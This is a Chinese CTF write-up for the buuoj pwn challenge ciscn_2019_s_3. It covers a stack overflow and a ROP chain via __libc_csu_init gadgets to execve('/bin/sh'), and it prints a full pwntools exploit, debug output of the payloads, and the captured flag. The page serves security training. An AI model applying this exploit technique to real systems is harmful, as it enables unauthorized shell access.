CTF buuoj pwn-----第12题: ciscn_2019_s_3


1. 查看基本信息

  • file:
bing@bing-virtual-machine:~$ file ./ciscn_s_3
./ciscn_s_3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, 
BuildID[sha1]=af580816080db5e4d1d93a271087adaee29028e8, not stripped
  • checksec:
bing@bing-virtual-machine:~$ checksec ./ciscn_s_3
[*] '/home/bing/ciscn_s_3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2. 函数分析

  • main函数啥也没有,
  • vuln函数:两个系统调用函数,buf只有16大小,栈溢出
  • read(),write()的 原型:
    • read():ssizet read(int fd,const void *buf,sizet nbytes); //fd 为要读取的文件的描述符 0//buf 为要读取的数据的缓冲区地址//nbytes 为要读取的数据的字节数 read() 函数会从 fd
      文件中读取 nbytes 个字节并保存到缓冲区 buf,//成功则返回读取到的字节数(但遇到文件结尾则返回0),失败则返回 -1。
    • write()ssizet write(int fd,const void *buf,sizet nbytes); //fd 为要写入的文件的描述符 1//buf 为要写入的数据的缓冲区地址//nbytes 为要写入的数据的字节数 write() 函数会将缓冲区
      buf 中的 nbytes 个字节写入文件 fd,//成功则返回写入的字节数,失败则返回 -1。

在这里插入图片描述

  • 值得注意的是,vuln的汇编代码为:没有sub rsp ;没有leave
    在这里插入图片描述

  • gadget函数:
    mov rax, 3Bh ; 系统调用号3b(59),execve(‘bin/sh’, 0, 0)
    在这里插入图片描述

3. 编写exp

  • payload_1 = b’/bin/sh\x00’ + b’a’*0x8 + p64(main_addr)

    vuln的汇编代码中:
    .text:0000000000400517 系统调用之后,
    .text:0000000000400519 就是retn ,没有leave,而且.text:00000000004004EE 后面也没有sub rsp,所有一直有rsp==rbp,所以:
    构造payload_1时, payload_1=b’/bin/sh\x00’ + b’a’*0x8 + p64(main_addr),16个字符后面直接就是 返回地址 main_addr),这里的 b’a’*0x8 不是往常的rbp地址,还是合法的栈上空间。

  • payload_2的栈帧分析:
    在这里插入图片描述

from pwn import *

sh = remote('node4.buuoj.cn', 27939)
context(arch='amd64',os='linux', log_level='debug')

main_addr= 0x4004ED    # 这里其实是vuln的地址,  main地址会错:timeout: the monitored command dumped core  
payload_1 = b'/bin/sh\x00' + b'a'*0x8 + p64(main_addr)

sh.sendline(payload_1)
sh.recv(0x20)
stack_addr = u64(sh.recv(8))
bin_sh_addr = stack_addr - 0x118   # 本地gdb调试的时候是0x128,但是远程必须0x118才能打通。??
print(hex(bin_sh_addr))


execv_addr = 0x04004E2      # gadgets函数: mov rax, 59  系统调用号59  作用是给syscall一个参数rax=59
mov_rdx_r13 = 0x400580     # _libc_csu_init() 函数通用的指令
pop_rbx_rbp_r12_r13_r14_r15_addr = 0x40059A   # _libc_csu_init() 函数通用的指令
pop_rdi_addr=0x4005a3    # pop rdi  ROPgadget得到的
syscall_addr = 0x400517   # 这里是调用syscall (read)指令的地址;也可以用syscall(write)的地址:0x400517


payload_2 = b'/bin/sh\x00' + b'a'*8 + p64(pop_rbx_rbp_r12_r13_r14_r15_addr) + p64(0)*2 + p64(bin_sh_addr+0x50) +p64(0)*3+ p64(mov_rdx_r13)+p64(execv_addr)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(syscall_addr)


sh.sendline(payload_2)
sh.interactive()

4. 运行exp,获取flag

bing@bing-virtual-machine:~$ python3 ./ciscn_s_3.py 
[+] Opening connection to node4.buuoj.cn on port 27939: Done
[DEBUG] Sent 0x19 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  61 61 61 61  61 61 61 61/bin/sh·│aaaa│aaaa│
    00000010  ed 04 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000019
[DEBUG] Received 0x30 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  61 61 61 61  61 61 61 61/bin/sh·│aaaa│aaaa│
    00000010  ed 04 40 00  00 00 00 00  0a 05 40 00  00 00 00 00  │··@·│····│··@·│····│
    00000020  48 05 81 00  fd 7f 00 00  00 00 00 00  01 00 00 00  │H···│····│····│····│
    00000030
0x7ffd00810430
[DEBUG] Sent 0x71 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  61 61 61 61  61 61 61 61/bin/sh·│aaaa│aaaa│
    00000010  9a 05 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000020  00 00 00 00  00 00 00 00  80 04 81 00  fd 7f 00 00  │····│····│····│····│
    00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000040  00 00 00 00  00 00 00 00  80 05 40 00  00 00 00 00  │····│····│··@·│····│
    00000050  e2 04 40 00  00 00 00 00  a3 05 40 00  00 00 00 00  │··@·│····│··@·│····│
    00000060  30 04 81 00  fd 7f 00 00  17 05 40 00  00 00 00 000···│····│··@·│····│
    00000070  0a                                                  │·│
    00000071
[*] Switching to interactive mode
\x00\x00\x00\x00[DEBUG] Received 0x30 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  61 61 61 61  61 61 61 61/bin/sh·│aaaa│aaaa│
    00000010  9a 05 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000020  00 00 00 00  00 00 00 00  80 04 81 00  fd 7f 00 00  │····│····│····│····│
    00000030
/bin/sh\x00aaaaaaa\x9a\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x7f\x00
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2b bytes:
    b'flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}\n'
flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}

flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}

小结

  • syscall
    在这里插入图片描述

    • 传参方式:
      • 32位:传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器调用号: sysread 的调用号 为 3 syswrite 的调用号 为 4 。调用方式: 使用 int 80h 中断进行系统调用
      • 64位:传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器调用号:sysread 的调用号 为 0 syswrite 的调用号 为 1 stubexecve 的调用号 为 59 stubrt_sigreturn 的调用号 为 15。调用方式: 使用 syscall 进行系统调用
  • 本题目依然有疑惑,payload_2 = b’/bin/sh\x00’ + b’a’*8 + p64(pop_rbx_rbp_r12_r13_r14_r15_addr) + p64(0)*2 + p64(bin_sh_addr+0x50)

    • bin_sh_addr+0x50 这里为什么要加0x50????
    • bin_sh_addr = stack_addr - 0x118 # 本地gdb调试的时候是0x128,但是远程必须0x118才能打通。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值